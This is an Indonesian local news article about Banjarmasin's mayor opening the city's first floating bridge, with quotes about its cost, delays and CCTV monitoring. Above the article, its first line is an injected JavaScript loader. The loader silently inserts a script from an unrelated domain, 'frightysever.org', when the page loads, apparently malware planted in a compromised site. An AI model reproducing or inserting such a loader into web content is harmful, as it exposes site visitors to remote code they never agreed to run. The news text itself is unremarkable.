(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Jembatan apung yang menjadi penghubung antara maskot Bekantan dengan wisata Kampung Ketupat Kota Banjarmasin diresmikan Wali Kota Banjarmasin, Ibnu Sina pada Jumat (18/11/2022).
“Ini merupakan jembatan terapung pertama di Banjarmasin,” kata Ibnu Sina.
Awalnya pembangunan yang dimulai dari bulan Juli 2022 tersebut ditargetkan selesai September. Namun, terjadi keterlambatan hingga baru saja rampung pengerjaanya.
Dengan adanya jembatan apung tersebut, wisatawan yang ingin menyeberang dari maskot Bekantan ke kampung Ketupat tidak perlu lagi melewati jalan raya, cukup melewati jembatan apung yang tepat berada di bawah jembatan Dewi tersebut.
Baca juga : Sidang Kasus Pengalihan IUP Terdakwa Mardani Maming, Penasehat Hukum Nyatakan Nilai Pembuktian Lemah
Adapun nilai proyek jembatan apung yang sebagian besar terbuat dari selender apung dan kayu ulin tersebut sebesar Rp 4,5 miliar yang bersumber dari dana APBD Kota Banjarmasin.
Wali Kota Banjarmasin mengungkapkan rasa syukurnya atas selesainya jembatan penghubung antara kedua siring tersebut yang sempat menuai kritik dari DPRD Kota Banjarmasin.
Lebih lanjut dirinya berharap agar seluruh masyarakat baik warga kota Banjarmasin maupun para wisatawan untuk bisa merawat dan menjaga jembatan tersebut dengan baik.
“Mudah-mudahan bisa dirawat dan dijaga, supaya bisa dimanfaatkan oleh masyarakat untuk menambah kenyamanan saat berkunjung ke Banjarmasin,” ujarnya.
“Jangan sampai nanti ada tangan-tangan jahil yang merusak, saya khawatir Ulin ini akan diambil karena kualitasnya bagus,” pungkasnya.
Baca juga : Pemuda Mengaku Nabi dan Imam Mahdi dari Landasan Ulin, Ternyata Pernah Dirawat di RSJ Sambang Lihum
Menanggapi kekhawatiran Walikota tersebut, Kepala Dinas Pekerjaan Umum dan Perumahan Rakyat (PUPR) Kota Banjarmasin, Suri Sudarmadiyah mengatakan jika jembatan apung tersebut telah dipasang beberapa CCTV yang terhubung ke command center sehingga bisa diawasi.
“Di jembatannya juga telah dilengkapi CCTV yang terhubung ke command center,” katanya.
Sementara itu, masih terdapat kawasan siring yang belum terhubung yaitu kawasan Mitra Plaza dengan Swiss Bell Hotel Banjarmasin di kawasan Kelayan. Ibnu Sina berharap tempat tersebut juga bisa terhubung agar memudahkan masyarakat untuk menyebrang.
“Tinggal yang di Mitra Plaza ke Muara Kelayan yang tidak ada akses, karena harus lewat jalan raya kalau nyeberang,” katanya.
Baca juga : Pj Bupati Lepas Anggota PWI Barsel Ikuti Porwanas di Malang
“Mudah-mudahan nanti juga bisa dibangun penghubungnya, apakah nanti dibikin seperti ini atau berbentuk terowongan nanti dipikirkan,” tutupnya.
Turut juga hadir pada peresmian tersebut Kapolresta Banjarmasin, Sekretaris Daerah, dan Kepala Dinas serta sejumlah Camat lingkup Kota Banjarmasin. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : cell
KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More
KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More
KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More
This website uses cookies.